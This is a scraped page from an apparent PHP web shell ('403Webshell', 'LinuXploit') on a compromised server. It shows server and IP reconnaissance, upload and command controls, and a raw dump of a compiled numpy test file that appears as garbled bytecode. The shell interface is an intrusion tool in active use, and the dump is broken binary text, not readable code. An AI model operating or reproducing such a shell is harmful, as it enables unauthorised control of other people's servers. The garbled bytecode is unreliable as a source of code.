403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/numpy/distutils/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/numpy/distutils/tests/__pycache__/test_ccompiler_opt.cpython-311.pyc
�

���c[p�
�@�ddlZddlZddlZddlmZmZddlmZedkoeduZ	e	rpddl
Z
ddlZddlZddl
Z
ej�ejejeje��d������ddlmZejd���Zdd	�ZnddlmZdd
lmZmZedddddddd
���ZGd�de��ZGd�d��Zd�Z	e���D]\Z Z!e!D]Z"e#ee e"������ e	re
j$��dSdS)�N)�sys�path)�DistutilsError�__main__z..)�CCompilerOptc/�K�tj|i|��}	|V�tj|��dS#tj|��wxYw�N)�tempfile�mkdtemp�shutil�rmtree)�args�kwargs�tmpdirs   �J/usr/lib/python3/dist-packages/numpy/distutils/tests/test_ccompiler_opt.py�tempdirrsU�����!�4�2�6�2�2��	"��L�L�L��M�&�!�!�!�!�!��F�M�&�!�!�!�!���s	�/�A�c�(�|st|���dSr	)�AssertionError)�expr�msgs  r�assert_rs"���	&� ��%�%�%�	&�	&�)rr)�gcc�clang�icc�iccw�msvc)rr)r)�x86�x64�ppc64�ppc64le�armhf�aarch64�s390x�noarchc�H�eZdZdZd
d�Zd�Zd�Zd�Zedd�d���Z	d	S)�FakeCCompilerOptrc�H�||_||_tj|dfi|��dSr	)�fake_trap_files�fake_trap_flagsr�__init__)�self�
trap_files�
trap_flagsrrs     rr,zFakeCCompilerOpt.__init__)s3��)���)�����d�D�3�3�F�3�3�3�3�3rc��tjd���|j|j|�����S)Nz�            <<<<
            march    : {}
            compiler : {}
            ----------------
            {}
            >>>>
        )�textwrap�dedent�format�cc_march�cc_name�report�r-s r�__repr__zFakeCCompilerOpt.__repr__.s;���� �
�
��V�D�M�4�<������
?�
?�	@rc��t|t��sJ�t|t��sJ�|jr4|D]1}tj|j|��r|�d���2|jr4|D]1}tj|j|��r|�d���2t|d�|��gt|��z��S)Nz%source is trapped by a fake interfacez#flag is trapped by a fake interface� )
�
isinstance�listr*�re�match�
dist_errorr+�zip�join�len)r-�sources�flagsr�src�fs      r�dist_compilezFakeCCompilerOpt.dist_compile8s����'�4�(�(�)�)�)��%��&�&�'�'�'���	M��
M�
M���8�D�0�#�6�6�M��O�O�$K�L�L�L����	K��
K�
K���8�D�0�!�4�4�K��O�O�$I�J�J�J���7�S�X�X�e�_�_�-��G���<�=�=�=rc��tjSr	)r(�	fake_infor7s r�	dist_infozFakeCCompilerOpt.dist_infoFs���)�)rF)�stderrc��dSr	�)rKrs  r�dist_logzFakeCCompilerOpt.dist_logIs���rN)rr)
�__name__�
__module__�__qualname__rIr,r8rGrJ�staticmethodrNrMrrr(r('s��������I�4�4�4�4�
@�@�@�>�>�>�*�*�*��$�
�
�
�
��\�
�
�
rr(c��eZdZdZdZd�Zd�Zd�Zd�Zd�Z	d�Z
d�Zdd
�Zdd�Z
dd�Zifd
�Zifd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�ZdS)�_Test_CCompilerOptNc�,�dt_d|_dS)NT)r(�conf_nocache�_optr7s r�setup_classz_Test_CCompilerOpt.setup_classQs��(,��%���	�	�	rc�L�|j|jdft_t|i|��S�Nr)�arch�ccr(rI)r-rrs   r�noptz_Test_CCompilerOpt.noptUs)��&*�i���"�%=��"���0��0�0�0rc�P�|js|���|_|jSr	)rWr]r7s r�optz_Test_CCompilerOpt.optYs#���y�	$��	�	���D�I��y�rc�4�|���jSr	)r_r4r7s r�marchz_Test_CCompilerOpt.march^s���x�x�z�z�"�"rc�4�|���jSr	)r_r5r7s rr5z_Test_CCompilerOpt.cc_nameas���x�x�z�z�!�!rc	���|t_|�|�dd��|�dd��|�dd��|�dd�����}t	��5}t
j�|d	��}t|d
��5}|�	|��ddd��n#1swxYwYg�i}|�
|g��}	|	D]�\}
}t
j|
���d��dd
�}t|��}
|
dkrd}nN|
dkr|d���}n-dd�|��zdz���}��|��|||<��	ddd��n#1swxYwY|j|\}}|r|dgzn|}d�|D��}t|��t���kst#�fd�|D����st%d|�d������||fS)N�baseline�min�dispatch�maxr.rr/��cpu_baseline�cpu_dispatchr.r/ztest_targets.c�w�.����r�(r:�)c�r�g|]4}t|t��rdd�|��zdzn|��5S)ror:rp)r;�tuplerA)�.0�tars  r�
<listcomp>z2_Test_CCompilerOpt.get_targets.<locals>.<listcomp>�sP��
�
�
��&0��U�%;�%;�D�C�����
�
��c�!�!��
�
�
rc3� �K�|]}|�vV��	dSr	rM)rs�t�gtargetss  �r�	<genexpr>z1_Test_CCompilerOpt.get_targets.<locals>.<genexpr>�s'�����3S�3S�a�A��M�3S�3S�3S�3S�3S�3SrzE'sources_status' returns different targets than the compiled targets
z != )r(�conf_target_groupsr]�getr�osrrA�open�write�try_dispatch�basename�splitrB�upper�append�sources_status�allr)r-�targets�groupsrr_r�filerF�gflags�fake_objects�sourcerD�gtar�glen�has_baselinerxs               @r�get_targetsz_Test_CCompilerOpt.get_targetsds����.4��+��i�i����J��6�6����J��6�6��z�z�,��3�3��z�z�,��3�3�	�
�
���Y�Y�	%�&��7�<�<��(8�9�9�D��d�C���
!�A����� � � �
!�
!�
!�
!�
!�
!�
!�
!�
!�
!�
!����
!�
!�
!�
!��H��F��+�+�T�F�3�3�L�!-�
%�
%�
����}�V�,�,�2�2�3�7�7��"��=���4�y�y���1�9�9�%�D�D��Q�Y�Y���7�=�=�?�?�D�D� �������.�s�2�9�9�;�;�D�����%�%�%�$��t���
%�	%�	%�	%�	%�	%�	%�	%�	%�	%�	%�	%����	%�	%�	%�	%�*!$� 2�4� 8���g�,8�E�'�Z�L�(�(�g��
�
��
�
�
���w�<�<�3�x�=�=�(�(��3S�3S�3S�3S�7�3S�3S�3S�0S�0S�(� �.�%�g�g�x�x�1���
�
���s7�1G�6C�G�C	�G�C	� CG�G�Gc	�.�tdddd���}|���}|���}|�||��}|�||��}|||||dz|z|dz|z|dz|z|dz|zfD]}|�|d��}|�n�|rlt|t��r/|���D]\}	}
|
dd�dvr|
d	z||	<�n(t|t��sJ�|dd�dvr|d	z
}|S)
Nrr!r#r)r r"r$r�_rnz)}$?\.+*�$)�dictrar5r{�popr;�items�str)r-r�
map2originrar5�	map_march�map_cc�key�regex�k�vs           r�	arg_regexz_Test_CCompilerOpt.arg_regex�sf�������	
�
�
�
��
�
���������g��N�N�5�%�0�0�	������1�1���7�I�v��C�K�'�!���O�g�%��C�K�&� ���O�f�$�
�		�		�C��J�J�s�D�)�)�E�� ���!��	!��%��&�&�
!�!�K�K�M�M�+�+�D�A�q�����v�[�0�0�#$�s�7��a���+�"�%��-�-�.�.�.�����:�[�0�0��S�L�E��rrc	��|jdi|��}|�dS|�|||�dd��|�dd�����}d�|�����}|s't|��dkrt
d|z���dStj||tj	��st
d|�d	|�d
����dS)Nr.rr/rhr:r�!expected empty features, not "%s"zdispatch features "�
" not match "�"rM)
r�r]r{rA�cpu_dispatch_namesrBrr=r>�
IGNORECASE)r-rfrdrr>r_�featuress       r�expectz_Test_CCompilerOpt.expect�������(�(��(�(���=��F��i�i�!���z�z�,��3�3��z�z�,��3�3��
�
��
�8�8�C�2�2�4�4�5�5���	��8�}�}��!�!�$�7�(�B����
�F��x��x���7�7�	� �.�;C�8�8�U�U�U�K���
�	�	rc	��|jdi|��}|�dS|�|||�dd��|�dd�����}d�|�����}|s't|��dkrt
d|z���dStj||tj	��st
d|�d	|�d
����dS)Nr.rr/rhr:rr�zbaseline features "r�r�rM)
r�r]r{rA�cpu_baseline_namesrBrr=r>r�)r-rdrfrr>r_r�s       r�expect_baselinez"_Test_CCompilerOpt.expect_baseline�r�rc	��|jdi|��}|�dS|�|||�dd��|�dd�����}d�|�����}|s't|��dkrt
d|z���dStj||��st
d|�d	|�d
����dS)Nr.rr/rhr:rzexpected empty flags not "%s"zflags "r�r�rM)	r�r]r{rA�cpu_baseline_flagsrBrr=r>)r-rdrfrr>r_rDs       r�expect_flagsz_Test_CCompilerOpt.expect_flags�s������(�(��(�(���=��F��i�i�!���z�z�,��3�3��z�z�,��3�3��
�
��
����/�/�1�1�2�2���	��5�z�z�Q���$�3�e�;����
�F��x��u�%�%�	� �.�/4�u�u�e�e�e�<���
�	�	rc�6�|jdi|��}|�dS|jd||d�|��\}}d�|��}|s't|��dkrt	d|z���dStj||t
j��st	d|�d|�d����dS)	N�r�r�r:rz expected empty targets, not "%s"z	targets "r�r�rM)r�r�rArBrr=r>r�)r-r�r�rr>r�s      r�expect_targetsz!_Test_CCompilerOpt.expect_targets�s������(�(��(�(���=��F�%�T�%�O�g�f�O�O��O�O�
����(�(�7�#�#���	��7�|�|�q� � �$�6��@����
�F��x��w��
�6�6�	� �.�18���%�%�%�@���
�	�	rc
��|jdi|��}|�dSt|t��sJ�|�||���\}}|���D]x\}}||vrtd|z���||}	|s%t
|	��dkrtd|z���tj||	��std|�d|	�d|�d�����ydS)	Nr�zexpected to find target "%s"rz+expected to find empty flags in target "%s"r�z	" flags "r�rM)	r�r;r�r�r�rrBr=r>)
r-r�r�r�
match_dictr��	tar_flags�	match_tar�match_flagsrDs
          r�expect_target_flagsz&_Test_CCompilerOpt.expect_target_flags�s'��#�T�^�-�-�f�-�-�
����F��*�d�+�+�,�,�,��'�'���'�G�G���9�&0�&6�&6�&8�&8�	�	�"�I�{��	�)�)�$�2�Y�>�����i�(�E��
��u�:�:��?�?�(�E�	�Q�����8�K��/�/�
�$�n�8A�	�	�5�5�5�+�+�+�V����
�	�	rc��|jdkrdnd}|jdkrdnd}|���}tt	|d|jz����tt	|d|z����tt	|d|jz����tt	|d|z����dS)Nr!rrr�cc_on_�cc_is_)r[r\r_r�getattr)r-�
wrong_arch�wrong_ccr_s    r�test_interfacez!_Test_CCompilerOpt.test_interfaces��� $�	�W� 4� 4�W�W�%�
� $��W� 4� 4�W�W�%���h�h�j�j�����X��	�1�2�2�3�3�3��G�C��J�!6�7�7�7�8�8�8����X���/�0�0�1�1�1��G�C��H�!4�5�5�5�6�6�6�6�6rc���dD]j\}}|�||���}t|�����dksJ�t|�����dksJ��kdS)N))r�nonerZ)z
none +noneznone - none)z	none -maxz	min - max)z+vsx2 -VSX2zvsx avx2 avx512f -max)z#max -vsx - avx + avx512f neon -MAX z+min -min + max -max -vsx + avx2 -avx2 +NONE�rirjr)r]rBr�r�)r-rdrfr_s    r�test_args_emptyz"_Test_CCompilerOpt.test_args_emptys���#
�	7�	7��H�h��)�)���)�I�I�C��s�-�-�/�/�0�0�A�5�5�5�5��s�-�-�/�/�0�0�A�5�5�5�5�5�	7�	7rc��|���dkrdSdD];\}}	|�||���td���#t$rY�8wxYwdS)N�unknown))zunkown_feature - max +minzunknown max min)z#avx2z$vsxr�z+excepted an exception for invalid arguments)rar]rr)r-rdrfs   r�test_args_validationz'_Test_CCompilerOpt.test_args_validation-s����:�:�<�<�9�$�$��F�#
�	�	��H�h�
��	�	�x�h�	�G�G�G�$�%R�S�S�S��!�
�
�
���
����	�	s�&A	�	
A�Ac���|�ddddd���|�ddd	d
d���|�ddddd���|�d
d
ddd���dS)Nzsse vsx neon�sse�vsx�neonr)rr!r#r�z)sse41 avx avx2 vsx2 vsx3 neon_vfpv4 asimdzsse41 avx avx2�	vsx2 vsx3zneon_vfpv4 asimdzsse neon vsx)rdrr!r#zavx2 vsx3 asimdhp)r�r7s r�	test_skipz_Test_CCompilerOpt.test_skip;s���	
�����U�&�"�	�	
�	
�	
�	
���7�$��&��	�	
�	
�	
�	
����^��"�B�	�	
�	
�	
�	
����*=��"�B�	�	
�	
�	
�	
�	
rc	��|�dddd���	dD]F\}}d|�d|�d	�}|�|d
|z||���|�|d|z||����Gd
D]4}|D]/}|�|dd�|��z����0�5|�dd���dD]}|�|d����dS)Nzfma3 avx2 asimd vsx3zsse .* sse41 .* fma3.*avx2z
vsx vsx2 vsx3zneon neon_fp16 neon_vfpv4 asimd)rr!r#)��fma3�avx2)�avx512f�avx512cdz.* sse42 .* z .*r�z.* sse42 .* %s$)�x86_gcc�x86_icc�x86_iccwz
.* avx .* %s$)r�)r�r��
avx512_skxz.*%sr:)�x86_msvcr��vsx vsx2)r")r��	neon_fp16�
neon_vfpv4�asimd)r$)r�rA)r-�f0�f1�diffrF�ffs      r�test_impliesz_Test_CCompilerOpt.test_impliesSsm��	
���"�0�#�5�	�	
�	
�	
�	�

�	�	�F�B���.0�R�R����4�D�� � ��)�B�.��t�
!�
�
�
�
� � ��'�"�,��t�
!�
�
�
�
�
K�	�	�A��
�
���$�$�R�#�c�h�h�q�k�k�1�%�����
�	
���U�J��7�7�7�=�	O�	O�A�� � ��,M� �N�N�N�N�	O�	Orc��dD]�}|dkr|���dkr�!|�|ddddd���|�|ddd	d
ddd���|�|d
dddd���|�|ddddddd�����|�dddddddd���|�dddd���	|�ddd d d d �!��|���d"kr$td#|���z���dS#t$r+|���d"krtd$���YdSwxYw)%N)rg�nativer�rz.*cpu_(sse|vsx|neon|vx).cr)r.rr!r#r%z".*cpu_(sse3|vsx2|neon_vfpv4|vxe).czsse sse2r�zneon neon_fp16�vx)r.rr!r#r$r"r%z.*cpu_(popcnt|vsx3).czsse .* sse41r�zneon neon_fp16 .* asimd .*�vx vxe vxe2z=.* xop fma4 .* avx512f .* avx512_knl avx512_knm avx512_skx .*z1.* avx512f .* avx512_knl avx512_knm avx512_skx .*z'.* xop fma4 .* avx512f .* avx512_skx .*z.* asimd asimdhp asimddp .*zvsx vsx2 vsx3 vsx4.*z
vx vxe vxe2.*)r�r�r�r�r#r!r%rez
sse sse2 sse3zneon neon_fp16 .* asimd)rr r#r$r!r"r%z.*cpu_(sse2|vsx2).c)r.rr"z".*(-march=native|-xHost|/QxHost).*�.*)r/rr!r#r%r��excepted an exception for %s�excepted no exceptions)r5r�rarr)r-�os  r�test_args_optionsz$_Test_CCompilerOpt.test_args_options|s���"�	�	�A��H�}�}������6�!9�!9���K�K��6��b��"�
�
�
�
�
�K�K��?��e�3C��B�d�
�
�
�
�

�K�K��2�"�*�2�#�	
�
�
�
�
�K�K��W�K�L�B�3�,�%�
�

�

�

�

�	
���E����7��j��	�	
�	
�	
�
	
����3��B�	�	
�	
�	
�	?��K�K��?���D��
�
�
�
��z�z�|�|�y�(�(�$�2�T�Z�Z�\�\�A����)�(���	?�	?�	?��z�z�|�|�y�(�(�$�%=�>�>�>�)�(�(�	?���s�AD%�%1E�Ec��|�dddd|���dkrdndddddd	�
�
�
|�ddd�
��|�ddd���|�dd���|�dd���|�dd���|�dd���dS)Nz'sse sse2 vsx vsx2 neon neon_fp16 vx vxez-msse -msse2z
/arch:SSE2rrz-mcpu=power8z-maltivec -mvsx -mpower8-vectorz"-mfpu=neon-fp16 -mfp16-format=ieeez-mzvector -march=arch12)	r�r�r�r��	ppc64_gcc�ppc64_clang�	armhf_gccr$r%r�z;-mfp16-format=ieee -mfpu=neon-fp-armv8 -march=armv8-a\+simd)r$r��asimdhpz-march=armv8.2-a\+fp16z=-mfp16-format=ieee -mfpu=neon-fp-armv8 -march=armv8.2-a\+fp16)�aarch64_gccr��asimddpz-march=armv8.2-a\+dotprod)r��asimdfhmz-march=armv8.2-a\+fp16\+fp16fmlzasimddp asimdhp asimdfhmz(-march=armv8.2-a\+dotprod\+fp16\+fp16fmlr�z-mzvector -march=arch13)r%)r�rar7s r�
test_flagsz_Test_CCompilerOpt.test_flags�s@�����5�"�N�!�%)�Z�Z�\�\�U�%:�%:�\�\��%�9�:��+�	�
	
�
	
�
	
�	
�����T�	�	
�	
�	
�
	
����1�V�	�	
�	
�	
�
	
����#?�	�	
�	
�	
�	
����$F�	�	
�	
�	
�	
���&�C�	�	
�	
�	
�	
����,�	�	
�	
�	
�	
�	
rc�,�dD]�}	|�|dddd���|���dkr$td|���z����Z#t$r*|���dkrtd���Y��wxYwdS)N)zbla blaz
/*@targetsz
/*@targets */z/*@targets unknown */z"/*@targets $unknown_policy avx2 */z!/*@targets #unknown_group avx2 */z/*@targets $ */z/*@targets # vsx */z/*@targets #$ vsx */z/*@targets vsx avx2 ) */z/*@targets vsx avx2 (avx2 */z/*@targets vsx avx2 () */z!/*@targets vsx avx2 ($autovec) */z/*@targets vsx avx2 (xxx) */z!/*@targets vsx avx2 (baseline) */r)rr#r!r%r�r�r�)r�rarr�r-r�s  r�test_targets_exceptionsz*_Test_CCompilerOpt.test_targets_exceptions�s���
�	C�	C�G� 
C��#�#���"�B�b�$�����:�:�<�<�9�,�,�(�6������E����-��"�
C�
C�
C��:�:�<�<�9�,�,�(�)A�B�B�B�-�,�
C����3	C�	Cs�AA�1B�Bc	�F�dD]}|�|ddddd����dS)N)z+/*@targets $keep_baseline sse vsx neon vx*/z+/*@targets,$keep_baseline,sse,vsx,neon vx*/z+/*@targets*$keep_baseline*sse*vsx*neon*vx*/zs
            /*
            ** @targets
            ** $keep_baseline, sse vsx,neon, vx
            */
            z�
            /*
            ************@targets****************
            ** $keep_baseline, sse vsx, neon, vx
            ************************************
            */
            z�
            /*
            /////////////@targets/////////////////
            //$keep_baseline//sse//vsx//neon//vx
            /////////////////////////////////////
            */
            zj
            /*
            @targets
            $keep_baseline
            SSE VSX NEON VX*/
            r�r�r�r�r)rr!r#r%r��r�r�s  r�test_targets_syntaxz&_Test_CCompilerOpt.test_targets_syntax�sN��
�!	�!	�G�>
������f�D�"�
 �
�
�
�
�?!	�!	rc���|�dddddd���|�dd	d
ddd
d���|�dd	ddd
dd���|�dd	dddddddd��
�
dS)Nz�
            /*@targets
                sse sse2 sse41 avx avx2 avx512f
                vsx vsx2 vsx3 vsx4
                neon neon_fp16 asimdhp asimddp
                vx vxe vxe2
            */
            zavx vsx2 asimd vx vxe�avx512f avx2zasimddp asimdhpz	vsx4 vsx3�vxe2)rdrr#r!r%z�
            /*@targets
                sse41 avx avx2 avx512f
                vsx2 vsx3 vsx4
                asimd asimdhp asimddp
                vx vxe vxe2
            */
            rz"sse41 avx2 vsx2 asimd asimddp vxe2z
avx2 sse41�
asimddp asimd�vsx2)rdrfrr#r!r%z�
            /*@targets
                sse2 sse41 avx2 avx512f
                vsx2 vsx3 vsx4
                neon asimdhp asimddp
                vx vxe vxe2
            */
            z).*(avx2|avx512f|vsx3|vsx4|asimddp|vxe2).cz
sse41 sse2zasimdhp neonzvxe vx)rdr.rr!r#r%z�
            /*@targets
                sse sse2 avx fma3 avx2 avx512f avx512cd
                vsx vsx2 vsx3
                neon neon_vfpv4 neon_fp16 neon_fp16 asimd asimdhp
                asimddp asimdfhm
            */
            z#avx512cd avx512f avx2 fma3 avx sse2zavx512cd avx2 avx sse2z
vsx3 vsx2 vsx�	vsx3 vsx2z8asimdfhm asimddp asimdhp asimd neon_vfpv4 neon_fp16 neonzasimdfhm asimddp asimdhp asimd)	rdr�r�r�r�r!r"r#r$r�r7s r�test_targetsz_Test_CCompilerOpt.test_targetss������
�-��&7�{��	�	
�	
�	
�	
���
��"F��O�6��	�	
�	
�	
�	
���
��B��F�.��	�
	
�
	
�
	
�	
���
��9�-�,�-�!��L�4�#	�	
�	
�	
�	
�	
rc
��|�ddddddd���|�d	d
ddd
d���|�dddd|���dkrdndddd���dD]*}|�d|zddiddiddiddiddi����+|�dddiddidd idd!iddi���dS)"Nz�
            /*@targets
                $keep_baseline
                sse2 sse42 avx2 avx512f
                vsx2 vsx3
                neon neon_vfpv4 asimd asimddp
                vx vxe vxe2
            */
            zsse41 avx2 vsx2 asimd vsx3 vxezavx512f avx2 sse42 sse2r�zasimddp asimd neon_vfpv4 neonr�zvxe2 vxe vx)rdrr!r#r$r%z�
            /*@targets
                $keep_baseline $keep_sort
                avx512f sse42 avx2 sse2
                vsx2 vsx3
                asimd neon neon_vfpv4 asimddp
                vxe vxe2
            */
            zavx512f sse42 avx2 sse2r�zasimd neon neon_vfpv4 asimddpz
asimd asimddpzvxe vxe2)rr!r#r$r%z�
            /*@targets
                $keep_baseline $keep_sort $autovec
                avx512f avx2 sse42 sse41 sse2
                vsx3 vsx2
                asimddp asimd neon_vfpv4 neon
            */
            zavx512f avx2 sse42 sse41 sse2rzavx512f avx2 sse2r�)r�r�r�r�r!r#r$)z$maxoptz$autovecz/*@targets baseline %s */rdz.*-O3.*z.*/O3.*z.*/O2.*r�)rrrrr�z/*@targets baseline $werror */z.*-Werror.*z.*/Werror.*z.*/WX.*)r�rar�)r-�policys  r�test_targets_policiesz(_Test_CCompilerOpt.test_targets_policies]sv�����
�6�)��1�#��!	�	
�	
�	
�&	
���
�*��1�#��	�	
�	
�	
�&	
���
�4�3�4��
�
����-�-�)�(�3A��1�#�#	�	
�	
�	
�&.�	�	�F��$�$�+�f�4��	�*��I�0F� ��+�:�i�2H�#�D�)�	
%�
�
�
�
�	
� � �,��M�*��M�0J��]�+�:�i�2H���%�		!�	
�	
�	
�	
�	
rc	��|�dtd���ddd���|�dtd	d
���dd
ddd���dS)NzK
            /*@targets $keep_baseline baseline #test_group */
            z�
                    $keep_baseline
                    asimddp sse2 vsx2 avx2 vsx3
                    avx512f asimdhp
                )�
test_groupzavx512f avx2 sse2 baselinezvsx3 vsx2 baselinezasimddp asimdhp baseline)r�rr!r#z�
            /*@targets
             * sse42 avx avx512f
             * #test_group_1
             * vsx2
             * #test_group_2
             * asimddp asimdfhm
            */
            z@
                    VSX2 vsx3 asimd avx2 SSE41
                z@
                    vsx2 vsx3 asImd aVx2 sse41
                )�test_group_1�test_group_2zavx512f avx2 avx sse42 sse41r��vsx3zasimdfhm asimddp asimdzasimdfhm asimddp)r�rr!r"r#r$)r�r�r7s r�test_targets_groupsz&_Test_CCompilerOpt.test_targets_groups�s������
������-�&�,�	�	
�	
�	
� 	
���
����	���/���*�&�1	�	
�	
�	
�	
�	
rc���|�ddd���|�ddddd�	��|�d
dddd�
��|�ddddd���dS)Nzm
            /*@targets
                (avx512_clx avx512_cnl) (asimdhp asimddp)
            */
            z\(avx512_clx avx512_cnl\)z\(asimdhp asimddp\))rr#z�
            /*@targets
                f16c (sse41 avx sse42) (sse3 avx2 avx512f)
                vsx2 (vsx vsx3 vsx2)
                (neon neon_vfpv4 asimd asimdhp asimddp)
            */
            zavx512f f16c avxr�r)rr!r"r#z�
            /*@targets $keep_sort
                (sse41 avx sse42) (sse3 avx2 avx512f)
                (vsx vsx3 vsx2)
                (asimddp neon neon_vfpv4 asimd asimdhp)
                (vx vxe vxe2)
            */
            zavx avx512fr�)rr!r#r%zz
            /*@targets $keep_sort
                fma3 avx2 (fma3 avx2) (avx2 fma3) avx2 fma3
            */
            zfma3 avx2 \(fma3 avx2\)r�)r�r�r�r�r�r7s r�test_targets_multiz%_Test_CCompilerOpt.test_targets_multi�s������
�
-�(�	�	
�	
�	
�	
���
�#���(�	�	
�	
�	
�	
���
���(��	�
	
�
	
�
	
�	
���
�
/��V��	�		
�		
�		
�		
�		
r�r)rOrPrQr[r\rXr]r_rar5r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rrrrMrrrTrTMs��������D��B����1�1�1����
#�#�#�"�"�"�*�*�*�X���>����*����*����*.0�����"35�����.7�7�7�7�7�7����
�
�
�0'O�'O�'O�R6?�6?�6?�p%
�%
�%
�NC�C�C�<"�"�"�H>
�>
�>
�@J
�J
�J
�X*
�*
�*
�X1
�1
�1
�1
�1
rrTc���tr0tjd���|dz|z||���Stjd���|dz|z||���S)Na    class TestCCompilerOpt_{class_name}(_Test_CCompilerOpt, unittest.TestCase):
        arch = '{arch}'
        cc   = '{cc}'
        def __init__(self, methodName="runTest"):
            unittest.TestCase.__init__(self, methodName)
            self.setup_class()
    r�)�
class_namer[r\zo    class TestCCompilerOpt_{class_name}(_Test_CCompilerOpt):
        arch = '{arch}'
        cc   = '{cc}'
    )�
is_standaloner1r2r3)r[r\s  r�new_testr
s����	�X�_�.�	�	�
���#�:��?��"�
�
�
�	��?��	�	�
���#�:��?��"�
�
�
�	rr	)%r=r1r|rr�distutils.errorsrrO�__package__r�unittest�
contextlibr
rr��abspathrA�dirname�__file__�
ccompiler_optr�contextmanagerrr�numpy.distutils.ccompiler_opt�
numpy.testingr��arch_compilersr(rTr
r�r[�	compilersr\�exec�mainrMrr�<module>rsh����������������������+�+�+�+�+�+��J�&�>�;�$�+>�
��/�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1��H�O�O�L�D�L����<�4�<��+A�+A�4�!H�!H�I�I�J�J�J�*�*�*�*�*�*���"�"���"�&�&�&�&�&�;�:�:�:�:�:�.�.�.�.�.�.�.�.���
1�
1������
�	�	�	��$
�$
�$
�$
�$
�|�$
�$
�$
�Ly

�y

�y

�y

�y

�y

�y

�y

�v���$�&�+�+�-�-�!�!�O�D�)��!�!����X�X�d�B�
�
� � � � �!����H�M�O�O�O�O�O��r

Youez - 2016 - github.com/yon3zu
LinuXploit